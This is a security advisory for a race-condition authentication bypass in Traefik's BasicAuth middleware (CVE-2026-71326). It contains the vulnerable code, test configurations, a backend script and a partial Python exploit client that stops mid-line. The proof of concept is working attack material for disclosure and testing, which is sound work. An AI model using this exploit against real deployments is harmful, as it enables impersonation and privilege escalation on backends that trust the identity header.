CVE-2026-71326

Summary

Traefik's BasicAuth middleware deduplicates concurrent password checks with a singleflight.Group. Its key is the delimiter-free concatenation password + secret. For an existing user with password P and stored hash H, the key is P || H. An unknown user can select the password P || H; because its secret is the empty string, its key is also P || H.

If the existing user's request starts the shared calculation, the unknown user receives the existing user's successful Boolean result. Traefik then continues processing the unknown user's original request and propagates the attacker-selected username through URL.User, the access log, and the configured BasicAuth headerField.

A user who knows one valid username/password/hash tuple can therefore authenticate concurrently under any unconfigured username. This becomes a privilege escalation when a backend uses the BasicAuth headerField as a trusted identity, which is the documented purpose of that option.

Details

The vulnerable logic is in pkg/middlewares/auth/basic_auth.go:118-131:

func (b *basicAuth) checkPassword(user, password string) bool {
	secret := b.auth.Secrets(user, b.auth.Realm)

	key := password + secret
	match, _, _ := b.singleflightGroup.Do(key, func() (any, error) {
		if secret == "" {
			_ = b.checkSecret(password, b.notFoundSecret)
			return false, nil
		}

		return b.checkSecret(password, secret), nil
	})

	return match.(bool)
}

For a configured user viewer:

password = P
secret   = H
key      = P || H
result   = true

For an unconfigured user admin:

password = P || H
secret   = ""
key      = (P || H) || "" = P || H

singleflight.Group.Do shares the first in-flight result for equal keys. If the configured user's check is first, the unknown user's closure is not run and the unknown request receives true.

The authorization result is not bound to the username. After the shared result is accepted, ServeHTTP uses the username parsed from the unknown request:

req.URL.User = url.User(user)

if b.headerField != "" {
	req.Header.Del(b.headerField)
	req.Header[b.headerField] = []string{user}
}

Consequently, the backend sees the attacker-selected admin identity, not the valid request's viewer identity.

Attack prerequisites

The attacker needs:

1. network access to a route protected by the affected BasicAuth middleware;
2. one valid low-privilege username and password;
3. the corresponding stored password hash.

The hash is often present in deployment labels or routing configuration. Traefik's API is also a direct source when the attacker can access it: GET /api/http/middlewares/{id} serializes basicAuth.users, including the hash, despite the field carrying loggable:"false". The official v3.7.8 binary returned the hash in the validation environment.

The attacker does not need another user's password or a victim-generated request. The attacker creates both concurrent requests: one with their valid credentials and one with an arbitrary, unconfigured target username.

Security impact

When headerField is configured, an authenticated low-privilege user can impersonate an arbitrary identity to the backend. Depending on downstream authorization, this can allow:

• access to administrative data;
• execution of privileged state-changing operations;
• corruption of audit attribution;
• bypass of identity-based tenant or role separation.

Without headerField, the unknown request is still admitted through the BasicAuth middleware. The practical consequence then depends on whether the protected route treats all authenticated users equally.

Proof of Concept

Validation environment

• Official Traefik v3.7.8 Linux amd64 release.
• Build timestamp: 2026-07-15T12:42:25Z.
• Go version in the release: go1.26.5.
• Archive SHA-256: dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7.
• The checksum matched the official traefik_v3.7.8_checksums.txt release asset.
• No Traefik source files were modified.

Dynamic configuration

The bcrypt hash below is for password test and uses cost 12:

http:
  routers:
    app:
      entryPoints:
        - web
      rule: PathPrefix(`/`)
      middlewares:
        - auth
      service: backend

  middlewares:
    auth:
      basicAuth:
        headerField: X-WebAuth-User
        removeHeader: true
        users:
          - 'viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.'

  services:
    backend:
      loadBalancer:
        servers:
          - url: http://127.0.0.1:19090

Save it as dynamic.yml. Use this install configuration as static.yml:

global:
  checkNewVersion: false
  sendAnonymousUsage: false

api:
  insecure: true

entryPoints:
  web:
    address: 127.0.0.1:18080

providers:
  file:
    filename: /absolute/path/to/dynamic.yml
    watch: false

The API is enabled only to demonstrate that the runtime representation exposes the configured hash. It is not needed if the tester already knows the hash from the configuration.

Use this backend as backend.py; it responds with the identity Traefik puts in the trusted header:

from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer


class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        body = (self.headers.get("X-WebAuth-User", "") + "\n").encode()
        self.send_response(200)
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, *args):
        pass


ThreadingHTTPServer(("127.0.0.1", 19090), Handler).serve_forever()

Start the backend and Traefik in separate shells.

Shell 1:

python3 backend.py

Shell 2:

./traefik --configFile=/absolute/path/to/static.yml

Exploit client

import base64
import http.client
import json
import threading
import time
import urllib.request

HOST = "127.0.0.1"
PORT = 18080
PASSWORD = "test"
HASH = "$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u."


def request(user, password):
    conn = http.client.HTTPConnection(HOST, PORT, timeout=5)
    token = base64.b64encode(f"{user}:{password}".encode()).decode()
    conn.request("GET", "/", headers={"Authorization": f"Basic {token}"})
    response = conn.getresponse()
    body = response.read().decode().strip()
    status = response.status
    conn.close()
    return status, body


middleware = json.load(
    urllib.request.urlopen(
        "http://127.0.0.1:8080/api/http/middlewares/auth%40file"
    )
)
print("api_users", middle